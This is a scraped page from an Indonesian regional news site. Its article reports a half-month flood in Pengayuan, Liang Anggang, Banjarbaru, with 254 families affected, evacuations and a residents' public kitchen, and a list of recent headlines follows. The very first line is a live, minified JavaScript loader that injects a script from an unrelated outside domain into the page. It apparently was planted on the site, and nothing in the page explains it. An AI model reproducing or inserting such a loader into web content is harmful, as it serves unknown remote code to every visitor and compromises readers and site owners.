(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pengayuan Sudah Setengah Bulan Terendam, 254 KK Terdampak di Liang Anggang


KANALKALIMANTAN.COM, BANJARBARU – Pengayuan, Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjar Braun yang berbatasan dengan Kecamatan Batibati, Kabupaten Tanah Laut, menjadi salah satu wilayah paling parah terdampak banjir.

Wilayah tergenang banjir berada di RT 03, RT 02, dan RT 01 RW 01 Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru.

Ketua RT 02 Hendra menyebutkan, di RT 03 sedikitnya ada 100 kepala keluarga (KK) terdampak banjir.

Sedangkan di RT 02 ada 65 rumah dengan 80 KK terdampak dan RT 1 ada 54 rumah dengan 74 KK terdampak banjir. Jadi ada 254 kepala keluarga dari tiga RT yang terdampak banjir.

“Ketinggiannya sampai lutut di sini, di RT lain bervariasi, dan naiknya debit air pun berangsur dari yang hanya dua jari tiga jari setiap malamnya,” ujar Hendra kepada Kanalkalimantan, Rabu (22/1/2025) siang.

Baca juga: Nenek Armiah Memilih Bertahan Dikepung Air, Sartinah Tak Bisa Selamatkan Perkakas Rumah

Dijelaskan Hendra bahwa daerah Pangayuan sebelah barat jalan Jurusan Banjarbaru-Pelaihari dari arah Banjarbaru kurang lebih setengah bulan sudah terendam banjir.

Sedangkan Pangayuan sebelah timur menyusul satu pekan belakangan mulai terendam.

Saat ini pun di RT-nya sudah ada delapan KK yang mengungsi ke tenda pengungsian yang didirikan oleh BPBD Kota Banjarbaru dan beberapa lainnya mengungsi di rumah warga yang tak terdampak banjir.

Baca juga: Pasar Kindai Limpuar Gambut Calap, Pedagang Tutup Toko

“Saat ini sudah ada warga mengungsi, di RT 2 utamanya dulu ada 8 KK yang mengungsi, kalau RT lain belum terdata,” sebut dia.

Akibat banjir ini pula katanya, aktivitas sehari-hari warga ikut terganggu, seperti halnya untuk memasak sangat sulit dilakukan karena rata-rata dapur ikut terendam.

Kendati demikian sejumlah bantuan bahan pokok seperti sembako telah disalurkan di dapur umum yang dikelola oleh warga itu sendiri.

Baca juga: Pemkab HSU Pastikan Program Jamsos dan Ketenagakerjaan Berjalan

“Jadi warga yang terdampak masuk ke dapur umum itu untuk makan, bantuan kebutuhan lain hingga kesehatan juga ada,” jelasnya.

Masih kata Hendra, hanya ada satu sekolah di wilayah ini yang terdampak yaitu TK PAUD. Muridnya pun saat ini sedang diliburkan karena ruang kelas yang terendam.

“Di wilayah ini sekolah tidak ada yang terendam, hanya satu bangunan PAUD saja dan aktivitas sekolah diistirahatkan,” tuntas Hendra. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pengangkatan CPNS dan PPPK Dipercepat? Pemerintah Umumkan Keputusan Krusial Hari Ini!

KANALKALIMANTAN.COM - Pemerintah akan mengumumkan informasi terkini terkait pengangkatan Calon Aparatur Sipil Negara (ASN) menjadi… Read More

8 jam ago

Rehab Tahap II Kolam Renang Idaman, Gaya Arsitektural Indische Padukan Sportainment

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru kembali akan melanjutkan… Read More

8 jam ago

18 Maret Hari Arsitektur Nasional, Ini Asal Usulnya

KANALKALIMANTAN.COM - 18 Maret diperingati sebagai Hari Arsitektur Nasional. Peringatan ini untuk mengenang jasa para… Read More

9 jam ago

Tidak Ada Surat Teguran, Izin Usaha “Mama Khas Banjar” Masih Ada

KANALKALIMANTAN.COM, BANJARBARU - Kuasa hukum terdakwa Firly Norachim (31) menanggapi bantahan Direktorat Reserse Kriminal Khusus… Read More

10 jam ago

Tinjau BBI UPT Banjang, Bupati Sahrujani: Bibit Ikan Tak Lagi dari Luar Daerah

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani didampingi Wakil Bupati HSU Hero… Read More

10 jam ago

Musrenbang RKPD Kabupaten Kapuas 2026, Ini Kata Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Kerja… Read More

10 jam ago

This website uses cookies.